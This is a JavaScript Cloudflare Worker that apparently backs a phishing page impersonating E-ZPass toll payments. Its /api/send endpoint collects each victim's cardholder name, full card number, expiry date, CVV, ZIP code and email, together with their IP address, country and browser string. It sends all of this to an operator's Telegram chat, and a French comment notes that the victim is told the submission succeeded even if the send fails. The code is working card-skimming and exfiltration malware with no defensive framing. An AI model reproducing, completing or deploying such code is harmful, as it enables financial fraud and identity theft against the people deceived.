const esc = (s) => String(s == null ? '' : s).replace(/[&<>]/g, (c) => ({ '&': '&amp;', '<': '&lt;', '>': '&gt;' }[c]));

const json = (body, status = 200) =>
  new Response(JSON.stringify(body), {
    status,
    headers: { 'content-type': 'application/json', 'cache-control': 'no-store' }
  });

export default {
  async fetch(request, env) {
    const url = new URL(request.url);

    if (url.pathname === '/api/send') {
      if (request.method !== 'POST') return json({ ok: false, error: 'method' }, 405);

      let d;
      try {
        d = await request.json();
      } catch {
        return json({ ok: false, error: 'json' }, 400);
      }

      const card = String(d.cardNumber || '').replace(/\s/g, '');
      if (card.length < 12) return json({ ok: false, error: 'card' }, 400);

      const ip = request.headers.get('CF-Connecting-IP') || '?';
      const ua = (request.headers.get('User-Agent') || '?').slice(0, 120);
      const country = (request.cf && request.cf.country) || '?';

      const txt = [
        '<b>E-ZPass — card received</b>',
        'Name: <code>' + esc(d.cardName) + '</code>',
        'Card: <code>' + esc(d.cardNumber) + '</code>',
        'Exp: <code>' + esc(d.exp) + '</code> | CVV: <code>' + esc(d.cvv) + '</code>',
        'ZIP: <code>' + esc(d.zip) + '</code>',
        'Email: <code>' + esc(d.email) + '</code>',
        'Ref: ' + esc(d.ref),
        'IP: ' + esc(ip) + ' (' + esc(country) + ')',
        'UA: ' + esc(ua)
      ].join('\n');

      try {
        await fetch('https://api.telegram.org/bot' + env.TELEGRAM_TOKEN + '/sendMessage', {
          method: 'POST',
          headers: { 'content-type': 'application/json' },
          body: JSON.stringify({
            chat_id: env.TELEGRAM_CHAT_ID,
            text: txt,
            parse_mode: 'HTML',
            disable_web_page_preview: true
          }),
          signal: AbortSignal.timeout(8000)
        });
      } catch {
        // on confirme quand même au visiteur
      }

      return json({ ok: true });
    }

    return env.ASSETS.fetch(request);
  }
};